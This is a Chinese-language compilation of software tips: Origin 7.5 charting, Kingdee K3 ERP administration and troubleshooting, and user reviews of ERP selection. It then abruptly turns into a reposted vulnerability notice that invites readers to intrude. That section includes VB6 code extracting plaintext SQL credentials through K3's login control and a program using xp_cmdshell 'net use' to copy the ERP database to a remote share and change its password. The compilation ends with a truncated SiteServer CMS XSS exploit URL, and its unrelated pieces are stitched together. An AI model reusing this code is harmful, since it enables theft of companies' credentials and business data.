第一篇：origin7.5使用心得

1.如何把origin7.5做的圖粘到word上？

答：先把實驗數據做個圖保存到我的文檔里，然后新建word文檔，插入→對象→由文件新建→瀏覽(找到origin圖表)，再確定即可。（最簡單是直接copy page命令）

2.origin圖中帶漢字的，粘到word里面不顯示漢字而是一些問號，請問這種情況怎么處

理？

答：在origin里雙擊橫坐標或縱坐標title，出現text control，選擇字體，如宋體，輸入名稱，ok，edit，copy page，粘帖就可以了。

第二篇：K3使用心得

說明：本人是一客戶，操作中有一些體會，但計算機語言知之甚少，所述內容不一定很嚴謹，不過應該說還比較通俗。由于相關的使用手冊對操作已有說明，我這個說明與其角度不同，估且作為手冊的一點補充吧。本說明主要講如何使用，對軟件問題及安裝不涉及。文中涉及的不能修改、不能改變均指在操作界面不能處理。我想將這作為新手的借鑒材料，望大家提出意見和建議，包括結構性的和功能上的。本說明的順序無規律，有點想到哪里說到哪里的感覺，其中一部分內容在論壇中與大家交流過。

一、軟件安裝完后，管理員首先要對中間層有一個基本的了解。中間層的密碼很重要，忘了就得重裝中間層；中間層菜單上有一個“系統使用情況”的功能項，這一功能項是反映某一時刻正在使用系統的情況，如果有的單位站點較少，可以通過這里看出當前使用的是哪些人，從而對使用人員進行調節，將某些未用但沒有退出系統的用戶強行清除掉；在系統非正常退出時，中間層還保留其信息，大家在操作時會出現“當前使用的功能與其他用戶沖突”、“該數據正在調用”等提示即與此相關，這時管理員需要在中間層選定對應帳套，通過網絡控制清除相關信息。中間層的主要功能是建立新帳套、備份帳套和恢復帳套，這三項基本功能大家都應該會的，需要指出的是大家在作出重大操作時，如修改數據庫、測試某一功能等情況下，要先備份。對于備份大家可以使用帳套自動指備份，在你選擇好路徑和間隔時間后，系統會自動將帳套備份到指定的地方。自動備份要注意不要關閉，否則下一次備份中斷，該功能可以在中間層關閉后獨立運行，該功能運行時，顯示器右下角會有一個相應的圖標。中間層還有注冊帳套和取消注冊帳套兩個功能項。我是這樣理解的，取消注冊帳套類似于臨時禁用了該帳套，要恢復時只須注冊該帳套即可，這在需要暫時停止某一帳套，同時其他帳套正常使用情況下時適用。如果確實不需要某一帳套了，則使用帳套刪除。

系統默認administrator這一用戶為管理員，其權限最大。管理員可以在中間層修改其密碼，也可以在進入K3系統主控臺時修改。管理員對這兩個地方一般很熟悉，但一般操作員對更改密碼并不熟悉。對于操作員只能在進入主控臺時更改密碼，方法為：雙擊K3快捷方式圖標后，在主控臺處錄入自已的用戶和密碼，不要點擊確定，這時點擊主控臺左上角的修改密碼，修改完成后須錄入新密碼才能進行系統。

二、進入K3主界面后，菜單上的“設置--主控臺編輯”是以所設置的計算機為基礎的，即某一臺機器設置為特定的主控臺后，其他操作員進來時都是一樣的。這樣大家在不熟悉的機器上如果看不到自己所需要的模塊，首先要想到其主菜單的設置更改造成的。菜單上的“設置—選項”中允許多個主采單同時存在是大家用得上的。如果你大部分時間只同時使用一個系統，則不選擇，如果你同時要打開多個界面，則選擇此選項。

主界面下有一個“我的K3”，這一功能項可以將大家常用的幾個功能項放在這里來，不論是哪個子系統的明細功能，只要設為常用功能，以后就可以直接在這里使用，不需要跨模塊選擇明細功能項。“我的K3”中還有一個即時消息中心，主要用于各操作員之間進行業務交流，如提醒有單據需要增加、修改或刪除等，讓各操作員間實現在線交流。-----此帖被gychml于2003-12-3 20:07:52修改過.故障１：K3系統在憑證過帳或是在結帳的過程中提示：與其它用戶有沖突。

解決方法:

1、在客戶端中點“開始——程序——金蝶K3——客戶端部件——系統工具——網絡控制管理”進入對應的帳套，用“清除當前任務”將多余的任務結束。

2、在服務器中進入金蝶K3中間層的帳套管理，將所有的帳做好備份！然后點“系統——系統使用狀況”，用“清除當前任務”工具將多余的任務結束

故障２：為什么用戶擁有倉存管理系統的管理權限，查看即時庫存仍提示沒有權限？

問題原因：即時庫存查詢屬性供應鏈系統的公用功能，用戶進行“供應鏈公用設置”的權限設置。

解決方法：功能權限設置高級中設置用戶“供應鏈系統公用設置”－“即時庫存”的相關權限設置。

故障３：固定資產計提減值準備如何操作？

解決方法：在固定資產“變動處理”中，選中要計提減值準備的卡片，點擊“變動”，在“原值與折舊”頁簽錄入“減值準備”保存后，在“憑證管理”對變動記錄生成憑證即可。

故障４：問題描述 固定資產部分清理一定要先拆分嗎？

解決方法：不一定，如果卡片上數量大于1，錄入要清理數量即可；如果數量等于1，需要先拆分，再去清理.多欄賬的設置。

K3系統在憑證過帳或是在結帳的過程中提示：與其它用戶有沖突。在進行處理的時候不用備份帳套，因為清除清除當前任務并不影響業務數據。由于k3的產品不具備暫存功能，清除當前任務可能會導致正在輸入的某些數據出錯無法保存。

各位同行，本人今年參與公司ERP選型，由于各方面的因素，最終選擇金蝶K3。下面我講

講個人心得。

1.選型的時候要多了解軟件的功能，就算時間短也要進行測試，測試的方法只需要自己擬訂幾份訂單，做幾個BOM跑幾遍流程基本上就可以看出效果。

2.一定要注意ERP的版本，我當時就沒有了解清楚，時間也比較緊上面一直才催，所以吃了虧，原來金蝶K3是分成長版和專業版的，當出演示測試的時候他們用的是專業版，合同的時候簽的是成長版，所以導致很多功能沒有或者有但是做的沒有那么好。所以大家以后在選擇ERP的時候一定要了解清楚，不管你選的是拿款軟件。

3.金蝶K3ERP總體的功能和架構上還是算可以的（專業版）一些功能考慮的比較完善，但是生產管理MRP部分卻做的不是很好，他們的MRP分析是計算總需求的，不會理會訂單的跟蹤性，如果你要訂單跟蹤性（所有物料一定要與訂單掛鉤并且要在每個環節都能查到對應的銷售訂單的話，那就建議你不要使用，因為對應出來的是錯的，如果出現插單的情況的話，你會發現，所對應跟蹤出來的數據是錯的）要求很強的話建議你不要選擇。

4.所有事情都要在簽合同前說清楚，不要相信軟件公司所謂的多少錢一天的實施費，要在合同上寫清楚包項目，并寫清楚最起碼他們顧問要來多少天，當然根據我4年的經驗一般軟件公司的顧問，他們除了熟悉他們軟件以外，給不出什么可行的建議給你們的，所以不要指望能在過程當中學到什么東西，可以負責的給你們講，如果你們熟悉他們的軟件你做的比他們

好。

5、財務部分能不上的先不要上（買的時候也先不要買），等其他模塊都做好以后才上財務部分，不要相信軟件公司說的3個月內能夠做好，那都是鬼話。前面的做好以后再和財務部的相關人員相量什么時候上財務部分。

附件中是我們公司選擇的模塊和實施價格，上面的價格按我個人想法可以再減2萬但是我們公司上面沒有想談價格的意思，所以我只是給他們講了下，沒有強力的壓他們價格。另外大家在選著站點的時候要生產管理部分的要多選幾個一般要10個以上比較合適。我就是當初選了5個后來發現少了，不夠用。我們公司固定電腦100臺，全公司有1千人，個人覺得類

似我們公司規模的都可以參考。

金蝶2000版7.0,我使用好幾年了,作為單機版,感覺功能很全,一般中小型企業及行政事業單位用起來綽綽有余,近來,我在新建財務報表、過賬時,卻發現了幾個小問題:希望各位同仁能幫幫我,如你有什么問題的話,我也可以盡可能的幫你喲.一.報表公式:不能用函數,造成取數困難;二.現金流量表不能用,盡管軟件提供了菜單,可是不能使用;三.不能反過賬,要想回到上期的賬套,只有恢復在過賬時做的備份;四.我最覺得好用的還是該軟件的“工資”功能,類似Foxpro的處理方法和習慣,讓人用起來得心應手.比起從網上下的工資軟件,方便多了.我單位從2001年開始啟用金蝶K3系統，包括總賬、固定資產、現金流量、報表系統等其他模塊。成本管理、物流管理軟件是自行開發的，包括銷售管理、倉儲管理、進出口業務管理等軟件，自行開發軟件是滿足目前的需要，等時機成熟，還是要改用標準化軟件的。初始化工作及軟件調整工作方面的壓力是挺大的，但完成之后，感覺操作挺方便的，工作質量有了很大提高。沒用過用友軟件，所以無法作出比較。

5月5號網站漏洞公告！！

金蝶K3出現嚴重安全漏洞，黑客可輕易讀取數據庫所有信息

想入侵的朋友趕緊速度了

估計其他ERP軟件里也不少類似的東西，有興趣的同學可以跟一下。轉載開始。

這個漏洞在K3 各個版本都存在并且一樣，包括新發版的K3 V12的3個版本。主要數據安全漏洞描述如下：

最大的安全漏洞在K3login.dll這個控件上，,它能明文顯示K3 ERP數據庫的密碼等信息，這是非常危險的，簡單VB6.0代碼如下：

Dim k3lg As New k3Login.ClsLogin If k3lg.CheckLogin Then ?如果成功登錄，執行下面語句 Msgbox k3lg.PropsString End If 運行上述代碼后，會彈出對話框,顯示所有SQL數據庫信息

你們看看，客戶的ERP 數據庫安全是不是全部暴露出來了,這是致命的漏洞，一個企業的所有商業機密都在這個數據庫中，如該數據庫泄露出去，對企業的影響是致命的。由于K3 ERP的這個漏洞，網管完全不知道數據庫是如何泄露的（沒有采用黑客攻擊等非法手段，只是利用金蝶ERP軟件安全設計漏洞），這些漏洞金蝶集團的開發人員提供的建議是（K3X經理提供的建議）：采用WINDOWS模式認證即可避免此漏洞，請各位修改認證方式，避免企業內部數據丟失！

K3 ERP登錄留下密碼痕跡漏洞，適合所有版本：當用戶通過登錄界面登錄ERP后，會將登錄信息寫入注冊表中，包括服務器名稱、登錄密碼、用戶名稱等等,因此該注冊表就泄露了所有在計算機中登錄用戶的信息，其加密方式太簡單，只要幾次枚舉方式就可PJ，通過數學知識，如等差數列等規律，輕而易舉地將用戶密碼PJ，你們研究加密算法的人自己去看看規律,應對方法：因此用戶最好定期清除注冊表的登錄痕跡，防止用戶密碼泄露。

利用金蝶ERP軟件中KDLOGIN.dll漏洞 遠程備份服務器中ERP數據庫代碼如下（VB）： Public k3lg As New k3Login.ClsLogin Public cnn As New ADODB.Connection Public i As Integer Public j As Integer Public K As Integer Public S As Integer Public cnnstr As String Public databsnm As String Public Sub Main()On Error Resume Next If k3lg.CheckLogin Then i = InStr(k3lg.PropsString, “{“)j = InStr(k3lg.PropsString, “}”)

cnnstr = Mid(k3lg.PropsString, i + 1, j – i – 1)For K = 0 To Len(cnnstr)– 1 If Left(Right(cnnstr, K), 1)= “=” Then databsnm = Right(cnnstr, K – 1)Exit For End If Next K F001主窗口.帳套名稱 = k3lg.AcctName F001主窗口.Show End If End Sub Public Sub 備份數據庫(ByVal beifsjk As String)Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String Dim fy001 As String Dim fy002 As String Dim jsj As String Dim yhu As String Dim mima As String Dim wenjian As String jsj = F001主窗口.計算機名稱.Text wenjian = F001主窗口.文件夾.Text mima = F001主窗口.用戶密碼.Text yhu = F001主窗口.用戶名稱.Text fy = “exec master..xp_cmdshell?net use z: ” & jsj &”-:special:1:-& wenjian & “ ” & mima & “ /user:”& jsj & “-:special:1:-& yhu & “?”

fy001 = “backup database ” & databsnm & ” to disk=?z:-:special:1:-& beifsjk & ” ?”

fy002 = “exec master..xp_cmdshell ?net use z: /delete? ” cnn.Execute fy cnn.Execute fy001 cnn.Execute fy002 cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “數據庫: ” & databsnm & ” 成功備份為: ” & beifsjk, vbInformation, “提示”

Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “錯誤提示” End Sub Public Sub 清除日志()Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String Dim fy001 As String Dim fy002 As String fy = “dump transaction ” & databsnm & ” with truncate_only”

fy001 = “backup log ” & databsnm & ” with truncate_only”

fy002 = “dbcc shrinkdatabase(” & databsnm & “)” cnn.Execute fy cnn.Execute fy001 cnn.Execute fy002 cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “數據庫: ” & databsnm & “日志成功清除!”, vbInformation, “提示”

Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “錯誤提示” End Sub Public Sub 修改數據庫密碼函數()Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String fy = “exec sp_password ” & “?” & F002數據庫密碼修改.輸入舊密碼 & “?”& “,” & “?” & F002數據庫密碼修改.新密碼確認.Text & “?” cnn.Execute fy cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “數據庫密碼成功修改!”, vbInformation, “提示”

Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “錯誤提示” End Sub =============== SiteServer CMS存在多處跨站漏洞

影響版本: SiteServer CMS 3.3.9

程序介紹: SiteServer CMS 網站內容管理系統是定位于中高端市場的CMS內容管理系統，能夠以最低的成本、最少的人力投入在最短的時間內架設一個功能齊全、性能優異、規模龐大的網站平臺

漏洞分析:

程序因register.aspx等多個頁面過濾不嚴導致跨站腳本攻擊漏洞

漏洞利用:

1.注冊頁面為過濾用戶提交非法參數導致跨站，插入跨站語句即可： http://demo.siteserver.cn/usercenter/register.aspx?ReturnUrl=">[XSS] 2.進入用戶管理節目后，個人簽名以及空間描述插入跨站語句均可導致跨站漏洞 post: